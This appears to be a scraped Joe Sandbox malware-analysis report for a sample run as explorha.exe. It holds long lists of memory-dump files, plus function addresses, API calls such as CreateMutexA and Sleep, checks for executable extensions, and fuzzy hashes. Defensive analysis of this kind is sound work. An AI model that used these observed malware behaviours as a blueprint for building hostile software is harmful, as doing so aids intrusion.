Associated: 00000000.00000002.1734201860.0000000000D61000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734229514.0000000000D68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734256304.0000000000D69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734283739.0000000000D6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734316653.0000000000D8B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734344392.0000000000D91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734372271.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734401059.0000000000D9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734428611.0000000000DA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734457451.0000000000DA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734487570.0000000000DB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734513126.0000000000DB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734540698.0000000000DC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734566371.0000000000DC7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734566371.0000000000DE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734629722.0000000000E15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734655302.0000000000E16000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734681501.0000000000E1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734707075.0000000000E1F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734735891.0000000000E2B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734761395.0000000000E2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734787057.0000000000E2D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: 650464f55fce0452a5bfe59f24272cebd3599bc1abc2dfdd341b19c47ac67ff5
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: 54E04632911228EBCB18DB988904E8AB2ECEB48B10F210196B601E3200C370DE00C7D0

Uniqueness

Uniqueness Score: -1.00%

Function 00B38829 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 00B3886B

Strings

.com, xrefs: 00B388AB
.cmd, xrefs: 00B38889
.exe, xrefs: 00B38878
.bat, xrefs: 00B3889A

Memory Dump Source

Source File: 00000000.00000002.1732891922.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1732853612.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1732891922.0000000000B64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733022404.0000000000B69000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733064856.0000000000B6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733107097.0000000000B77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733314395.0000000000CD9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733356088.0000000000CDC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733400173.0000000000CF4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733444371.0000000000CF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733559555.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733587156.0000000000CF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733642258.0000000000CF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733642258.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733719184.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733744628.0000000000D0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733771598.0000000000D15000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733796583.0000000000D16000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733820921.0000000000D17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733845710.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733870179.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733895165.0000000000D1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733920839.0000000000D25000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733946288.0000000000D28000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733975782.0000000000D33000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734004128.0000000000D34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734032105.0000000000D3A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734062773.0000000000D47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734091269.0000000000D50000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734117986.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734146683.0000000000D5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734174772.0000000000D60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734201860.0000000000D61000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734229514.0000000000D68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734256304.0000000000D69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734283739.0000000000D6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734316653.0000000000D8B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734344392.0000000000D91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734372271.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734401059.0000000000D9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734428611.0000000000DA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734457451.0000000000DA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734487570.0000000000DB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734513126.0000000000DB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734540698.0000000000DC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734566371.0000000000DC7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734566371.0000000000DE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734629722.0000000000E15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734655302.0000000000E16000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734681501.0000000000E1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734707075.0000000000E1F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734735891.0000000000E2B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734761395.0000000000E2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734787057.0000000000E2D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 93b2ec01749bdf51caa584cf4bda55f319df860dfc716c5d363a617cd8dacc8e
Instruction ID: 08cec2e8eeeffcd2d480db1d312550848e7fbc4293f47e0aa6a7b9ad9a461ac2
Opcode Fuzzy Hash: 93b2ec01749bdf51caa584cf4bda55f319df860dfc716c5d363a617cd8dacc8e
Instruction Fuzzy Hash: 4B01C477A447252626152069AC0262737E9DBC1BB4F3A00AEFC44F71D1EF94DC425196

Uniqueness

Uniqueness Score: -1.00%

Function 00B02DC0 Relevance: 6.3, APIs: 4, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00B02E5F
__Mtx_unlock.LIBCPMT ref: 00B02ECC
__Mtx_unlock.LIBCPMT ref: 00B02FF5
__Mtx_unlock.LIBCPMT ref: 00B0309B

Memory Dump Source

Source File: 00000000.00000002.1732891922.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1732853612.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1732891922.0000000000B64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733022404.0000000000B69000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733064856.0000000000B6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733107097.0000000000B77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733314395.0000000000CD9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733356088.0000000000CDC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733400173.0000000000CF4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733444371.0000000000CF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733559555.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733587156.0000000000CF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733642258.0000000000CF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733642258.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733719184.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733744628.0000000000D0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733771598.0000000000D15000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733796583.0000000000D16000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733820921.0000000000D17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733845710.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733870179.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733895165.0000000000D1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733920839.0000000000D25000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733946288.0000000000D28000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733975782.0000000000D33000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734004128.0000000000D34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734032105.0000000000D3A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734062773.0000000000D47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734091269.0000000000D50000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734117986.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734146683.0000000000D5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734174772.0000000000D60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734201860.0000000000D61000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734229514.0000000000D68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734256304.0000000000D69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734283739.0000000000D6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734316653.0000000000D8B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734344392.0000000000D91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734372271.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734401059.0000000000D9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734428611.0000000000DA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734457451.0000000000DA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734487570.0000000000DB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734513126.0000000000DB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734540698.0000000000DC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734566371.0000000000DC7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734566371.0000000000DE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734629722.0000000000E15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734655302.0000000000E16000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734681501.0000000000E1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734707075.0000000000E1F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734735891.0000000000E2B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734761395.0000000000E2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734787057.0000000000E2D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID:
API String ID: 1418687624-0
Opcode ID: b97cdc05e88430c6eb8be71a4606edb7968a14800bee75f110b1603a1e378660
Instruction ID: c853aa72782e9e3b86b0513ee58e65a699af0942d1a32961c5419fd18a5a6521
Opcode Fuzzy Hash: b97cdc05e88430c6eb8be71a4606edb7968a14800bee75f110b1603a1e378660
Instruction Fuzzy Hash: 0DA1D1B09012169FDB21DB64C949B9ABBF8FF15350F4481B9E815D7281EB34EA48CBD1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: explorha.exePID: 7064, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	0.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	701
Total number of Limit Nodes:	4

Executed Functions

Function 004B7BBB Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,004B7BBA,?,?,?,?,?,004B8C0E), ref: 004B7BF7

Memory Dump Source

Source File: 00000001.00000002.1730374185.0000000000481000.00000040.00000001.01000000.00000008.sdmp, Offset: 00480000, based on PE: true

Associated: 00000001.00000002.1730343892.0000000000480000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730374185.00000000004E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730443996.00000000004E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730466179.00000000004EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730490228.00000000004F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730596147.0000000000659000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730622950.000000000065C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730653872.0000000000674000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730677570.0000000000675000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730698556.0000000000676000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730725681.0000000000677000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730743577.0000000000678000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730743577.000000000067F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730779025.000000000068A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730794298.000000000068C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730812843.0000000000695000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730829110.0000000000696000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730846582.0000000000697000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730861862.0000000000698000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730877059.0000000000699000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730894672.000000000069C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730913261.00000000006A5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730929516.00000000006A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730945921.00000000006B3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730964556.00000000006B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730982140.00000000006BA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731000861.00000000006C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731017904.00000000006D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731033518.00000000006D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731053307.00000000006DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731068635.00000000006E0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731085078.00000000006E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731101350.00000000006E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731116935.00000000006E9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731135514.00000000006EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731160283.000000000070B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731178328.0000000000711000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731196190.0000000000719000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731223422.000000000071D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731243359.0000000000725000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731261606.0000000000729000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731283680.0000000000737000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731303618.0000000000738000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731324804.0000000000745000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731341823.0000000000747000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731341823.0000000000766000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731393232.0000000000795000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731413734.0000000000796000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731435749.000000000079D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731456280.000000000079F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731478066.00000000007AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731496256.00000000007AC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731513260.00000000007AD000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_480000_explorha.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 9c075d274b77cb42a5af90f459ebd2a48f81804e10fb2c3a3196f1ee041c1d43
Instruction ID: b3cbe6b48f29033a411bc49262ea9077b327bc4183018aba89dd9280e3e10ce1
Opcode Fuzzy Hash: 9c075d274b77cb42a5af90f459ebd2a48f81804e10fb2c3a3196f1ee041c1d43
Instruction Fuzzy Hash: 9BE08C3004C148AFCF257B18D828EEA3B9EEF91348F005C25FD044A321DB29FE41C9A4

Uniqueness

Uniqueness Score: -1.00%

Function 00489675 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 0048A435
CreateMutexA.KERNELBASE(00000000,00000000,004E51D8), ref: 0048A453

Memory Dump Source

Source File: 00000001.00000002.1730374185.0000000000481000.00000040.00000001.01000000.00000008.sdmp, Offset: 00480000, based on PE: true

Associated: 00000001.00000002.1730343892.0000000000480000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730374185.00000000004E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730443996.00000000004E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730466179.00000000004EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730490228.00000000004F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730596147.0000000000659000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730622950.000000000065C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730653872.0000000000674000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730677570.0000000000675000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730698556.0000000000676000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730725681.0000000000677000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730743577.0000000000678000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730743577.000000000067F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730779025.000000000068A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730794298.000000000068C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730812843.0000000000695000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730829110.0000000000696000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730846582.0000000000697000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730861862.0000000000698000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730877059.0000000000699000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730894672.000000000069C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730913261.00000000006A5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730929516.00000000006A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730945921.00000000006B3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730964556.00000000006B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730982140.00000000006BA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731000861.00000000006C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731017904.00000000006D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731033518.00000000006D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731053307.00000000006DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731068635.00000000006E0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731085078.00000000006E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731101350.00000000006E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731116935.00000000006E9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731135514.00000000006EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731160283.000000000070B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731178328.0000000000711000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731196190.0000000000719000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731223422.000000000071D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731243359.0000000000725000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731261606.0000000000729000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731283680.0000000000737000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731303618.0000000000738000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731324804.0000000000745000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731341823.0000000000747000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731341823.0000000000766000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731393232.0000000000795000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731413734.0000000000796000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731435749.000000000079D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731456280.000000000079F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731478066.00000000007AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731496256.00000000007AC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731513260.00000000007AD000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_480000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 836fb830c34ba5e7f76ebb00022207bdaa9f6dd775ba3bb310c2334d6fd9a0ca
Instruction ID: 27c2e94021dc9be2539389ecbd24ca25a8ef83a7f7f094e84e7e110f4977c441
Opcode Fuzzy Hash: 836fb830c34ba5e7f76ebb00022207bdaa9f6dd775ba3bb310c2334d6fd9a0ca
Instruction Fuzzy Hash: FB317A71B10200DBFB08FB78CEC476DBB62EB82314F248A1AE415AB3D1C77D59808759

Uniqueness

Uniqueness Score: -1.00%

Function 00489A14 Relevance: 3.1, APIs: 2, Instructions: 128
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 0048A435
CreateMutexA.KERNELBASE(00000000,00000000,004E51D8), ref: 0048A453

Memory Dump Source

Source File: 00000001.00000002.1730374185.0000000000481000.00000040.00000001.01000000.00000008.sdmp, Offset: 00480000, based on PE: true

Associated: 00000001.00000002.1730343892.0000000000480000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730374185.00000000004E4000.00000040.00000001.01000000.00000008.sdmpDownload File
